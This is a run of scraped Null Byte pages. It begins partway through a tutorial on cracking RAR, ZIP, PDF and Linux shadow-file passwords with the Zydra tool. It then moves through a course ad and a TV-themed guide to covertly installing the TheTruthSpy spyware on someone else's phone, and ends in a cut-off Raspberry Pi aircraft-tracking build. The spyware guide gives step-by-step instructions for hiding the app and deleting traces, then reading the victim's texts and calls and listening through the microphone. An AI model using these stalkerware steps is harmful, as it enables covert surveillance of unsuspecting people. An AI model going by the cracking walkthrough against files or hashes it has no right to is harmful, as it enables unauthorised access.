@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ _______ ______ _______ _______ / ___ )|\ /|( __ \ ( ____ )( ___ ) \/ ) |( \ / )| ( \ )| ( )|| ( ) | / ) \ (_) / | | ) || (____)|| (___) | ok / / \ / | | | || __)| ___ | / / ) ( | | ) || (\ ( | ( ) | / (_/\ | | | (__/ )| ) \ \__| ) ( | (_______/ \_/ (______/ |/ \__/|/ \| Author : Hamed Hosseini @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Start time ==> Wed Jul 15 19:08:15 2020 Starting password cracking for /root/nb/nb-rar.rar / [*] Count of possible passwords: 10 Progress : [##################################### ] 80.000 % [+] Password Found: password1 End time ==> Wed Jul 15 19:08:41 2020 Execution time ==> 0:00:25.876620Once it starts, it gives us the possible password count (basically, how many lines there are in the wordlist) and a progress bar. It doesn't take long before it finds the password and tells us what it is.For brute force mode, we need to set a few more options. We still specify the file to crack, but now we can use the-bflag to set the character types to use for brute forcing. The minimum and maximum length of the password can also be set now, using the-mand-xflags, respectively:~$ python3 zydra.py -f nb-rar.rar -b letters,digits -m 1 -x 10 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ _______ ______ _______ _______ / ___ )|\ /|( __ \ ( ____ )( ___ ) \/ ) |( \ / )| ( \ )| ( )|| ( ) | / ) \ (_) / | | ) || (____)|| (___) | / / \ / | | | || __)| ___ | / / ) ( | | ) || (\ ( | ( ) | / (_/\ | | | (__/ )| ) \ \__| ) ( | (_______/ \_/ (______/ |/ \__/|/ \| Author : Hamed Hosseini @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Start time ==> Wed Jul 15 19:09:01 2020 Starting password cracking for /root/nb/nb-rar.rar / [*] Count of possible passwords: 853058371866181866 Progress : [ ] 0.000 %As you can see, the number of potential passwords is quite large, so while this feature can be useful in certain cases, most of the time it is wise to use the dictionary mode.Now that we have the password, we can extract the contents of the RAR file with the following command:~$ unrar x nb-rar.rar UNRAR 5.61 beta 1 freeware Copyright (c) 1993-2018 Alexander Roshal Extracting from nb-rar.rar Enter password (will not be echoed) for test.txt:Option 2: Cracking ZIP FilesCracking ZIP files works pretty much the same way — we'll only use dictionary mode from here on out since it is way more efficient. Just specify the file to crack and wordlist to use:~$ python3 zydra.py -f nb-zip.zip -d darkweb2017-top10.txt @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ _______ ______ _______ _______ / ___ )|\ /|( __ \ ( ____ )( ___ ) \/ ) |( \ / )| ( \ )| ( )|| ( ) | / ) \ (_) / | | ) || (____)|| (___) | ok / / \ / | | | || __)| ___ | / / ) ( | | ) || (\ ( | ( ) | / (_/\ | | | (__/ )| ) \ \__| ) ( | (_______/ \_/ (______/ |/ \__/|/ \| Author : Hamed Hosseini @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Start time ==> Wed Jul 15 19:09:45 2020 Starting password cracking for /root/nb/nb-zip.zip / [*] Count of possible passwords: 10 Progress : [##################################### ] 80.000 % [+] Password Found: password1 End time ==> Wed Jul 15 19:10:10 2020 Execution time ==> 0:00:25.062398We can see it found the password again with no issues.To extract the contents of the ZIP archive, use theunzipcommand:~$ unzip nb-zip.zip Archive: nb-zip.zip [nb-zip.zip] example.txt password:Option 3: Cracking PDF FilesFor Zydra to work with PDF files, we need to install a program calledqpdffirst:~$ sudo apt install qpdf Reading package lists... Done Building dependency tree Reading state information... Done The following additional packages will be installed: libqpdf28 The following NEW packages will be installed: libqpdf28 qpdf 0 upgraded, 2 newly installed, 0 to remove and 568 not upgraded. Need to get 1,015 kB of archives. After this operation, 2,690 kB of additional disk space will be used. Do you want to continue? [Y/n] y Get:1 http://kali.download/kali kali-rolling/main amd64 libqpdf28 amd64 10.0.1-2 [479 kB] Get:2 http://kali.download/kali kali-rolling/main amd64 qpdf amd64 10.0.1-2 [537 kB] Fetched 1,015 kB in 1s (830 kB/s) Selecting previously unselected package libqpdf28:amd64. (Reading database ... 377060 files and directories currently installed.) Preparing to unpack .../libqpdf28_10.0.1-2_amd64.deb ... Unpacking libqpdf28:amd64 (10.0.1-2) ... Selecting previously unselected package qpdf. Preparing to unpack .../qpdf_10.0.1-2_amd64.deb ... Unpacking qpdf (10.0.1-2) ... Setting up libqpdf28:amd64 (10.0.1-2) ... Setting up qpdf (10.0.1-2) ... Processing triggers for libc-bin (2.30-4) ... Processing triggers for man-db (2.9.1-1) ... Processing triggers for kali-menu (2020.2.2) ...Now we can crack the PDF by providing the file and wordlist to use, just like before:~$ python3 zydra.py -f nb-sample.pdf -d darkweb2017-top10.txt @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ _______ ______ _______ _______ / ___ )|\ /|( __ \ ( ____ )( ___ ) \/ ) |( \ / )| ( \ )| ( )|| ( ) | / ) \ (_) / | | ) || (____)|| (___) | ok / / \ / | | | || __)| ___ | / / ) ( | | ) || (\ ( | ( ) | / (_/\ | | | (__/ )| ) \ \__| ) ( | (_______/ \_/ (______/ |/ \__/|/ \| Author : Hamed Hosseini @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Start time ==> Wed Jul 15 19:10:30 2020 Starting password cracking for /root/nb/nb-sample.pdf / [*] Count of possible passwords: 10 Progress : [##################################### ] 80.000 % [+] Password Found: password1 [*] Your decrypted file is decrypted_nb-sample.pdf End time ==> Wed Jul 15 19:10:55 2020 Execution time ==> 0:00:25.118694Again, we can see it found the password, but this time there is an additional dialogue. This is simply telling us the file is a decrypted version of the original, which we can verify with thefilecommand:~$ file decrypted_nb-sample.pdf decrypted_nb-sample.pdf: PDF document, version 1.4Option 4: Cracking Shadow FilesZydra will automatically attempt to crack thepassword hashesfor any users found in Linux shadow files. While it's not always successful, this can be a good method to try out first since it is quick and easy.All we need to do is specify the file with the-fflag and the wordlist with the-dflag:~$ python3 zydra.py -f nb-shadow -d darkweb2017-top10.txt @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ _______ ______ _______ _______ / ___ )|\ /|( __ \ ( ____ )( ___ ) \/ ) |( \ / )| ( \ )| ( )|| ( ) | / ) \ (_) / | | ) || (____)|| (___) | ok / / \ / | | | || __)| ___ | / / ) ( | | ) || (\ ( | ( ) | / (_/\ | | | (__/ )| ) \ \__| ) ( | (_______/ \_/ (______/ |/ \__/|/ \| Author : Hamed Hosseini @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Start time ==> Wed Jul 15 19:11:03 2020 Starting password cracking for /root/nb/nb-shadow / [*] Count of possible passwords: 10 [**] cracking Password for: root Progress : [##############################################] 100.000 % [-] password not found [**] cracking Password for: sys [**] cracking Password for: klog [**] cracking Password for: msfadmin [**] cracking Password for: postgres [**] cracking Password for: user [**] cracking Password for: service End time ==> Wed Jul 15 19:11:26 2020 Execution time ==> 0:00:22.062705We can see it finds several users, but since we are only using a simple wordlist, it fails to find the password for any of them. Like any other cracking tool, using a more extensive wordlist will increase your chances of successfullyrecovering a password, but it will also take longer.Wrapping UpIn this tutorial, we explored a tool called Zydra and how it can be used to crack password-protected RAR files, ZIP files, PDF files, and Linux shadow files. While we cracked these with little to no difficulty, using strong passwords will greatly increase the time and effort it takes to do so.Don't Miss:How to Crack SSH Private Key Passwords with John the RipperWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byNikhiel CS/PexelsRelatedHow To:The Ultimate Guide to Password-Protecting Files & Folders in Mac OS X YosemiteHow To:Recover Passwords for Windows PCs Using OphcrackHow To:Crack Password-Protected Microsoft Office Files, Including Word Docs & Excel SpreadsheetsHow To:Crack Wi-Fi Passwords with Your Android Phone and Get Free Internet!Hack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)News:8 Tips for Creating Strong, Unbreakable PasswordsHacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsHow To:Password-Protect Files & Folders in Mac OS X (Snow Leopard)How To:Crack Wi-Fi Passwords—For Beginners!How To:Export OpenOffice Writer documents as PDF filesHacking macOS:How to Bypass Mojave's Elevated Privileges Prompt by Pretending to Be a Trusted AppHow To:Crack Shadow Hashes After Getting Root on a Linux SystemHack Like a Pro:How to Crack User Passwords in a Linux SystemHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Make a Locked File Cracker with PythonHack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHack Like a Pro:How to Crack Passwords, Part 3 (Using Hashcat)How To:Protect PDFs with a password in Adobe Acrobat 9 ProHow To:Use Wordlister to Create Custom Password Combinations for CrackingHow To:Painlessly Restore Apps & Settings After Flashing a New ROMHow To:Recover WinRAR and Zip PasswordsRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:How Hackers Take Your Encrypted Passwords & Crack ThemNews:Windows Live SkyDriveNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingNews:Advanced Cracking Techniques, Part 1: Custom DictionariesHow To:GPU Accelerate Cracking Passwords with HashcatHow To:Recover a Windows Password with OphcrackSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsHow To:Hack Mac OS X Lion PasswordsMastering Security, Part 1:How to Manage and Create Strong PasswordsHow To:view PDF files on your PSPHide Your Secrets:How to Password-Lock a Folder in Windows 7 with No Additional SoftwareSecure Your Computer, Part 3:Encrypt Your HDD/SSD to Prevent Data TheftHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Permanently Erase Data So That It Cannot be RecoveredNews:Should district be allowed to demand middle-schooler's Facebook password?How To:A Guide to Steganography, Part 2: How to Hide Files and Archives in Text or Image FilesHow To:Bypass Windows and Linux PasswordsNews:Raven
Get a Jump Start into Cybersecurity with This Bundle « Null Byte :: WonderHowTo
Cybersecurity is an industry that isn't going anywhere. After the mass move to online work, the need for more cybersecurity professionals skyrocketed. That demand isn't going away because more andmore industries are keeping onlineand cloud services going for their workers.The 2021 All-in-One Ethical Hacking & Penetration Testing Bundlecan get you ready to be a cybersecurity professional all with one bundle, and right now, it's on sale for $29.99.This Ethical Hacking bundle brings you 46 hours of expert learning that will prepare you for a career in cybersecurity, and all of this is content you will have access to for life. If you are a total beginner to ethical hacking and cybersecurity, the bundle can quickly give you the boost to start working in the field."Hacking Web Applications & Penetration Testing: Fast Start" is one such course designed to take you from very little knowledge or experience to a position of confidence by teaching you how to find and exploit common vulnerabilities so you will then know how to defend them.Each course is taught by professionals from the Oak Academy, a group of experts in the tech world who have years of experience. The Oak Academy has been a fixture in the professional tech sphere for years, and the people who work with them specialize in critical areas like coding, IT, game development, and white hat hacking. With instructors and course design from the Oak Academy, the courses in this bundle have already reached nearly 200 other students.If you want to get a jump start on your IT and cybersecurity career, this is the right bundle to get you going. You can get The 2021 All-in-One Ethical Hacking & Penetration Testing Bundlenow for only $29.99while it's on sale. Once you've learned everything you can from this bundle, startlearning Linuxbecause you'll be using it a lot.Prices subject to change.Start Your White Hat Hacking Today:The 2021 All-in-One Ethical Hacking & Penetration Testing Bundle for Just $29.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:This $1,300 Ethical Hacking Bundle Is on Sale for $40 TodayHow To:This Course Bundle Will Teach You How to Start & Grow a BusinessHow To:Leap into Cybersecurity with This Ethical Hacking BundleHow To:Become an In-Demand Cybersecurity Pro with This $30 TrainingHow To:8 Web Courses to Supplement Your Hacking KnowledgeHow To:Become an In-Demand Data Scientist with 140+ Hours of TrainingHow To:This Extensive Python Training Is Under $40 TodayHow To:Become an In-Demand IT Pro with This Cisco TrainingHow To:Learn the Essential Skills to Start a Career in IT with This Affordable Online TrainingHow To:Learn to Code Your Own Games with This Hands-on BundleHow To:Learn the Ins & Outs, Infrastructure & Vulnerabilities of Amazon's AWS Cloud Computing PlatformHow To:Learn C# & Start Designing Games & AppsHow To:Here's Why You Need to Add Python to Your Hacking & Programming ArsenalHow To:Harness the Power of Google Analytics with This $20 TrainingDeal Alert:The Ultimate eLearning Bundle Is Now on Sale for Just $99How To:13 Black Friday Deals on Courses That Will Beef Up Your Hacking & Programming Skill SetNews:'Hackers-for-Hire' Attempted to Steal Baidu's Self-Driving Car SecretsDeal Alert:Learn to Code for Only $39 While You're Stuck at HomeHow To:Learn How to Play the Market with This Data-Driven Trading BundleHow To:Create the Next Big Video Game by Learning Unity 2D with This Course Bundle, Now 98% OffHow To:Learn How to Create Fun PC & Mobile Games for Under $30How To:Master Adobe's Top Design Tools for Under $50 Right NowHow To:Get Extra Security with This VPN & Email Encryption BundleHow To:Get the Most Out of Google's New Inbox by GmailNews:It's Humble Indie Bundle Time! 5 Games for 'Name Your Price'News:Indie Game Music Bundle (Including Minecraft)News:The Humble Bundle Strikes Again with a "Frozen" ThemeNews:Obama Opposes CISPA, But Will Sign It AnywayAfterfall:InSanity Game Only $1 in Outlandish Plan to Reach 10 Million Pre-OrdersNews:Android Reaches 10 Billion Downloads; Celebrate with Minecraft for $0.10!CISPA:What You Need to KnowNews:Kinect Price Revealed; Sony Move ComparisonNews:Price Drop! Xbox 360 Arcade now $149!News:Portal Free to Download for a Limited Time!
Android « Null Byte :: WonderHowTo
No content found.
The Hacks of Mr. Robot: How to Spy on Anyone's Smartphone Activity « Null Byte :: WonderHowTo
Welcome back, my greenhorn hackers!As all you know by now, I'm loving this new show,Mr. Robot. Among the many things going for this innovative and captivating program is the realism of the hacking. I am using this series titled "The Hacks of Mr. Robot" to demonstrate the hacks that are used on this program.In thethird episode, Tyrell Wellick, the technically-astute CTO wannabe, is seen having an affair with one of his employees. When his lover goes to the shower, he grabs his phone and installs tracking software on his phone to spy on him. We don't yet know why he has installed the software, but I'm sure we will find out soon.Tyrell, with the physical phone in hand, is seen downloading and installing software to the phone for some malicious purpose (this is Tyrell, after all—he has nothing other than unbridled, ambitious, and malicious purposes).Here is Tyrell downloading and installing this tracking app to his lover/employee's phone. If we want to do the same, we just need to have the physical phone in our hands for 2-3 minutes.In this tutorial, we will look at some of the software that can be installed to track and steal information from a smartphone, whether for legitimate or malicious purposes.Some of the Apps for TrackingThere are a number of apps available for tracking/spying on bothiOSandAndroidplatforms. Probably the best, and one that appears to be being used by Tyrell in this scene, isFlexiSPY. It is available for either iOS, Android, BlackBerry, or Symbian. Some of its features are listed below from their website.The Premium FlexiSPY with all the features listed above costs $349 per year. But there are other numerous iPhone and Android spying packages available from other companies. These include:mSpyPhoneSheriffiKeyMonitorTheTruthSpyAnd many, many othersMost of these apps will not be in your app store as they are considered malicious, but some will. Some limited-capability apps are available in your app store that will track, for instance, GPS location, something that an employer might want to track employees or a parent might want to track their child movements or locating a lost cell phone. These are all considered legitimate and legal applications of this technology. In the Google Play Store, these include:Several apps named "Cell Tracker"GirlFriend Cell TrackerMobile Location TrackerGPS Phone Tracker ProAnd many othersThese apps primarily track the location of the phone and are not capable of doing so many of the things that the paid apps do, such as reading SMS and email messages, listening in on conversations, spying on WhatsApp and other chat messengers, controlling the phone, etc.Using a Smartphone Spying AppBefore we go further, I want you to keep a few things in mind.You MUST have physical access to the target phone/mobile device (the device you want to track). You have to be able to download the mobile spy software onto the device you want to track, and you don't need to download anything on your phone or computer. I found that it takes just about 2-3 minutes to install and activate.You must have internet access. These spy software apps transfer the data inside the phone/tablet to a central server where you can then access it. You must have Internet access from another device to access the phone's information.It probably goes without saying, but make sure the spy software is compatible with the phone's operating system.Be aware that it is illegal in most jurisdictions to install tracking software on a device that is not your own.All that having been said, now let's install a smartphone spying software to test its capabilities.TheTruthSpyLet's try out one of these apps for Android, TheTruthSpy. It has a 48-hour free trial, so we can use it for a couple days before deciding to buy it. Let's download it, install it, and give it a try.Step 1: Check Out Its FeaturesThis software seems to have all the features we could ever want to spy on someone's phone like Tyrell did inMr. Robot.These features include:GPS trackingRead emailRecord callsRead WhatsApp and other messagesTrack internet browsingView photosSend commands to the phoneAnd a few othersStep 2: Install TheTruthSpyBefore we can install any spy software on a mobile device, we need to change the security settings. By default, Android and iOS are designed to only allow the installation of apps from their official store/repositories. We need to change that.On Android, go to your "Security" settings (in the default Settings app), then allow app installations from "Unknown sources."Next, download the trial version atandroid.thetruthspy.com, then tap on the "Download complete" notification (or find the file in your "Downloads" app) to run the installer file.At this point, you will need to click through all the prompts and warnings to continue installing the app.Finally, when it is installed, open it up, because you will need to link it to your account or open an account here with your email address.After just 2-3 minutes with the phone, the spy software is installed and ready to go! To make sure the person doesn't notice anything wrong on their smartphone, make sure to disable "Unknown sources" if was previously unchecked, delete the .apk file from the Downloads app, andhide TheTruthSpy's icon, which can be done after logging in to the app.Step 3: Log in to Control PanelNow that we have TheTruthSpy installed, we can access the phone information from the cloud. The spy software we have installed on the phone relays all the information on the phone to a server. We can then access that server via an account atmy.thetruthspy.comas seen below.Once we have logged in with our credentials, we are greeted by a dashboard like below. Since this is trial software, some of the capabilities are unavailable, but even this trial software comes with the ability to track the phone via GPS, gives you all the SMS history, the call history, Twitter history, and finally, Auto Answer.Here you can see the call history screen. It lists each call, who it was from or to (I erased the names to protect the innocent), the date, and the length of the call.Here you can see a text conversation I had with my friend Sam a couple days ago. All of the user's text messages are available here.It also enables you to track the location of the phone (and presumably the user) wherever it goes.Auto AnswerOne of the new features in TheTruthSpy is the Auto Answer feature. This feature enables us to call the phone and it will auto answer. In this way, we can listen in to any conversations taking place within earshot of the phone's microphone.There are numerous other features available here with this app, but we must pay to enable them.As you can imagine, this type of software has innumerable applications in cyber espionage, cyber warfare, criminal investigation, forensics, and in many other uses.Once again, our favorite TV program has realistically depicting hacking. I will continue to show you how to dothe hacks of Mr. Robot, so keep coming back, my greenhorn hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:Samy's MagSpoof Hacking Device Was Just Featured on Mr. RobotNews:A Game of Real HackingThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiNews:This Mini "Jesus Bug" Robot, Soon-to-Be Spy, Walks and Jumps on WaterThe Hacks of Mr. Robot:How to Hide Data in Audio FilesNews:Robot Swarms Could Be Controlled by Your Smartphone, Thanks to ARThe Hacks of Mr. Robot:How to Hack BluetoothHow To:Hide What You're Listening To on Spotify So Your Friends Don't Make Fun of YouNews:This DIY Walking Paper Robot Shoots Rubber Bands from Its High-Powered Gatling Gun ArmsHow To:Bypass Two-Way Authentication on Facebook with Android ScriptHow To:Build a Programmable Robot with Snap CircuitsNews:Children Can Now Go on an AR Adventure at Heathrow AirportHow To:Hack a Mr. Microphone into a high tech spy deviceSmartphone Challenge:ETHow To:Things to Do on WonderHowTo (02/08 - 02/14)How To:Things to Do on WonderHowTo (02/01 - 02/07)Mr. Robot:Hacking Sequence ExplainedNews:Socks, Inc. One-Ups LittleBigPlanet by Using Real Sock PuppetsHacking in the Media:Our Craft's Portrayal as Black MagicHow To:Things to Do on WonderHowTo (01/25 - 01/31)News:Cheap Hexapod - Six Legged PVC RobotNews:LEGO BiPed Robot takes a StrollHow To:Play Spy!
How to Track Government Aircraft 200 Miles Away with a Raspberry Pi « Null Byte :: WonderHowTo
Aircraft equipped with ADS-B areconstantly shouting their location into the radio void, along with other useful unauthenticated and unencrypted data. In this guide, we will make an ADS-B receiver using a Raspberry Pi with a software-defined radio (SDR) dongle, which we can use to track aircraft anywhere in real time.In my last article, I covered how to track flights using publically sourced radio receiver data on your phone. However, using public source data has some limitations, like blocking some interesting private jets and government aircraft or lack of coverage at lower altitudes. Now, we can collect our own data!What's that, FlightAware? I can't track this plane? Right.The Raspberry Pi is a surprisingly versatile credit-card sized Linux computer, and just like the ubiquitous Lego blocks, people are constantly finding new uses for them includingwardriving,running Kali Linux, and even setting up arogue access pointandshooting down planes. We're going to put them to yet another use as a host computer for our very own 1090 MHz receiver. If you think you'reMacGyver, then you can try tobuild your own out of scrap parts.Previously:How to Track ADS-B Equipped Aircraft on Your SmartphoneThankfully there's no code to write. Most of the hard work has already been done for us by programs likedump1090on GitHub, and brancheslike this onecan even make a heat map of the aircraft locations. FlightAware made its own version calledPiAware, which is what we'll be using primarily today, although details for using Flightradar24's Pi image will be included if you prefer their service.If you're interested in what PiAware is doing under the hood, thishelpful block diagramshows what's going on. Our setup will have the Pi, SDR, and antenna directly connected without any analog cables between to minimize wires and maximize the efficiency of our system. Then, we'll only need to find a nice spot outside and plug in the power.Coverage ReconnaissanceA littlereconnaissancecan go a long way and save us trouble down the road. We're going to start off bylooking at the coverage. Once you click on that link, you'll be taken to a map of FlightAware's coverage, which should be fairly representative of other ADS-B aggregation services.The default is set to look at "Feeder Sites" such as the Pi-based receiver we are building in this guide. For example, looking at the following image of the Fort Worth and Dallas areas, we can tell that there is already a large number of such systems there.Each white dot represents a receiver just like the one we are about to build.Additionally, we need to take a quick glance at the "Data Coverage" tab on that map. By now, there are few holes in the coverage of the USA and Europe. If you live there and wanted to add new coverage, you're probably out of luck, but do check the sliding tab at the top left, as coverage below 20,000 feet and particularly below 10,000 feet is still quite sparse.If you do find yourself in a region with little-to-no coverage, be sure not to skip the free stuff step below, as it could save you a hundred dollars. If you aren't already familiar with the airports in your region, then tab over to "Airport Surface Coverage," too.Here you can see a map of the regions with coverage up to 60,000 feet and above.Radar Horizon ReconnaissanceHow far can we expect to be spotting aircraft once we get set up? Typical distances are between 100–300 miles. However, that can vary greatly depending on your setup.As we mentioned inour last article, ADS-B isline-of-sight propagating, which means that we need to keepradar horizonin mind or it could really limit our range. Since the Earth is a sphere and curves away from us in all directions, it creates regions at lower altitudes which are outside of line-of-sight with our receiver and cause us to have dead zones.Just like objects cast shadows in sunlight, objects like nearby trees, buildings, and mountains cast "radar shadows," further blocking the areas we will be able to spot aircraft. Think of the aircraft as the sun — you don't want your receiver to be in any cast shadows. Thankfully, there's a tool calledHeyWhatsThatto help us visualize this. On the HeyWhatsThat site, click the "New Panorama" tab at the top of the page, and then start filling in the information of your planned install location.This is also a good time to experiment with different locations you may have available to you, in order to sort out which is best. After you enter a suitable title and submit a request, it will take 2 to 3 minutes to build your map, and you should be taken to the view tab with your title selected.As you can see, the potential coverage area is quite large.Definitely play around on the page as there is quite a bit of useful information there. However, what we are interested in right now is that map.Scroll down to get to it and click on the "Up in the Air" tab in the map window. Just below the map will be two colored boxes which will be 10000 and 30000 by default. Change the first from 10000 to 18000, as 18,000 feet is the altitude at which all air traffic is required to have ADS-B. The second you can keep anywhere in the 30 - 40,000 range, as that represents the cruising altitude of typical airliners.Be aware you may have to zoom out on the map to actually see the rings appear. Those rings now represent the maximum range at which you can expect to be spotting aircraft at the given altitude.Apply for Free StuffIf you enjoy setting fire to money in your spare time, or simply don't perk up at the word free, then you can skip this bit. For the rest of you, keep reading. If you noticed you're in a gap in coverage in the previous recon section, then you will want to follow these links to apply for a free kit — complete ADS-B receiver sets including receiver, antenna, and cables.Flightradar24FlightAwareRadarbox24Even if your area is already covered, it's worth it to take a few minutes to apply in case they still need MLAT coverage, or even just for the 20% discount code Radarbox24 sends when it rejects your application. Don't forget to check your email for the follow-up emails that arrive within 24 hours, if not instantly.What You'll Need to Get StartedRaspberry Pi:Most importantly, you're going to need a Raspberry Pi. Any model will technically work. However, for this guide, you will want one with Wi-Fi built in. This guide uses a Pi 3 model B, but the Pi Zero W is also a good choice with some caveats. As the Pi Zero uses the chipset from the original Pi, it has limited computational power, and there are reports that it struggles when MLAT is running and or when it's viewing a large number of aircraft simultaneously. That being said, the Pi Zero is the cheapest option if you can get away with it. Use your own judgment, and the recon we are performing, to decide. If you don't have a Raspberry Pi yet and would like to follow along with our guides, thenthis kitwill get you up and running.MicroSD card:You need a 6 GB card minimum, but it's recommended to use one in the 16 to 32+ GB range.MicroSD card reader: Pretty much any one will work for our task today.Power supply:This is needed for the Raspberry Pi unit.Software-defined radio:We need any software-defined radio with an RTL2832 chip. If you already have an SDR, it should likely work. If you are buying specifically for 1090 MHz, thenthis SDRis the best choice and is what will be used in this guide. It has a built-in amplifier and 1090 MHz filter specially designed for our purpose.1090 MHz antenna:If you are using an SDR, you already have then you can use the supplied antenna, but you should be aware that it likely isn't optimized for the frequency we are using. While it will work for demonstration purposes, if you are hoping to have a more permanent installation, then you will be gravely disappointed by its performance. In this guide, we are usingthis antenna. While it is a little on the pricey side (being the most expensive single component in our build), it is also the most important to receiving a strong signal. If you're more interested in the details, here's anin-depth review. If you want to build your own, then look atthis guideorthis videoby Hak5.Antenna adapter:If you are using the same antenna as this guide, you will need an N type Male-to-SMA-Male converter. Otherwise, be sure you have the proper cable and adapter for your setup.Micro USB cable(optional):You only need this if you're using the Pi Zero WSecond 1090 MHz Filter(optional):This is rarely needed, as it's already built into the SDR we are using in this guide. However, it is helpful sometimes if you live in very close proximity to a radio transmitter such as a cell phone tower.Step 1: Download the Image for the Raspberry PiThere are two programs that we are going to look at downloading; they both achieve the same ends. It's mostly just a matter of personal preference which you choose. You can use Flightradar24 or FlightAware. If you want the quickest simplest setup, then go with Flightradar24, but if you want more access to your own data or are using a Pi Zero W, then go with FlightAware. Keep in mind, whichever you contribute data to will upgrade your account to their highest level of premium membership for free.Click on the link below that you want and extract the .zip file. If you just can't pick, thenuse both with BerryBoot.Flightradar24 (206 MB)FlightAware (305 MB)Step 2: Flash the Image to the MicroSD CardNow, we need to write the image to our microSD card. Best practice is to unplug any external hard drives or other USB devices you have, and then insert your microSD into its adapter and plug it in. This is important because you don't want to accidentally flash the wrong device.If you already have a program to flash the image to the card, then you can use that. Otherwise, downloadEtcher. It should detect what operating system you are using, but if not, make sure you download the correct version based on your operating system (OS) and follow the on-screen installation directions. Open Etcher (if it doesn't automatically after installation), and select the image you just downloaded and unzipped.Next, be sure the proper drive is selected and flash the image. Once it's done, it will safely eject the SD card.Step 3: Enable Wi-FiIf using the Flightradar24 image:The Flightradar24 build is intended to be used with Ethernet, however, we can enable Wi-Fi. Just remember, you will still need to run power to the Pi.First, insert the SD card into the slot at the bottom of your Raspberry Pi and plug the Pi into both Ethernet and power. Now, we need a program to open a Secure Shell, i.e., SSH into our Pi. This guide usesPuTTY(download), but you can SSH however you like.In Windows, open PuTTY and select SSH Port 22, and provide the Pi's IP address. The IP address can be found a number of ways, including opening your router's admin page and looking at connected devices or using a program likeNmaporFing.On a Mac, you can simply open a terminal window and type the following.ssh pi@(replace with Pi's IP address)Once you have a successful SSH connection, you will be prompted for a login and password. The default user name ispiand the password israspberry. Best practice would be to immediately run thepasswdcommand to change the password.So the Pi knows to automatically connect to the Wi-Fi, we need to edit the "wpa_supplicant.conf" file. Use the following command to open it in nano.sudo nano /etc/wpasupplicant/wpasupplicant.confArrow key to the bottom of the file, and add the following.network={ssid="YourWifi"psk="Password"}ReplaceYourWifiandPasswordwith the credentials of your system, but leave the quotes. Exit withCtrl + Xand then save changes with theYkey. That's it, you should have Wi-Fi connected now, although sometimes it may take 2 to 3 minutes and require a reboot. If so, you can usesudo reboot. Useifconfig wlan0to check, and if it's working, you will see you have an "inet addr" there.When you have Wi-Fi up and running, safely shut off the Pi with:sudo shutdown -h nowIf using the FlightAware image:Etcher will have ejected your SD card, so you will need to physically remove it and reinsert it. The SD card should now be called PiAware. Navigate to it, and open the file labeled "piaware-config.txt." Scroll down until you see:ChangeMyWifiNetworkto your network's SSID, ands3cr3tto your network's password. Save the changes and close the file. If you want to be able to SSH into your Pi, create an empty file named "ssh" with no file extension, as PiAware disables SSH by default for safety. Safely eject the SD card.Step 4: Set Up Your AntennaThe rule of thumb to keep in mind is that the cable between the antenna and SDR should be as short as possible. This is super easy for us to do since we aren't using a cable.Image by Hoid/Null BytePlug your adapter into the base of the antenna, and then the SDR into the other side of the adapter. We do this because longer cables and more jumps weaken the analog signal, which makes it harder for the SDR to pick up the faint signals from distant aircraft.Put together it should look something like this.Image by Hoid/Null ByteStep 5: Start Your PiPlug the flashed SD card into the bottom of the Pi, and connect the SDR to one of the USB ports. Now, connect the power. You should see a solid red and a blinking green LED on the Raspberry Pi.Image by Hoid/Null ByteStep 6: Claim Your ReceiverWait 5 minutes for the Pi to boot and get the software running, then click on the appropriate link below for whichever service you are using. If the Pi doesn't show, be sure that you connected the Wi-Fi correctly and reboot.GPS-Coordinates.netis helpful if you don't already know your GPS coordinates, or are having trouble finding 